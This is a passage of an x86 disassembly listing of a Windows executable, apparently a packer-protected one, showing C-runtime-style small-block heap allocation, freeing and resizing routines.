		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27C0000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
					; DATA XREF: Themida_:off_55D447o
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		call	near ptr 2890000h
		nop
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27D0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28E0A43h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		call	near ptr 27C0000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28E0A43h
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


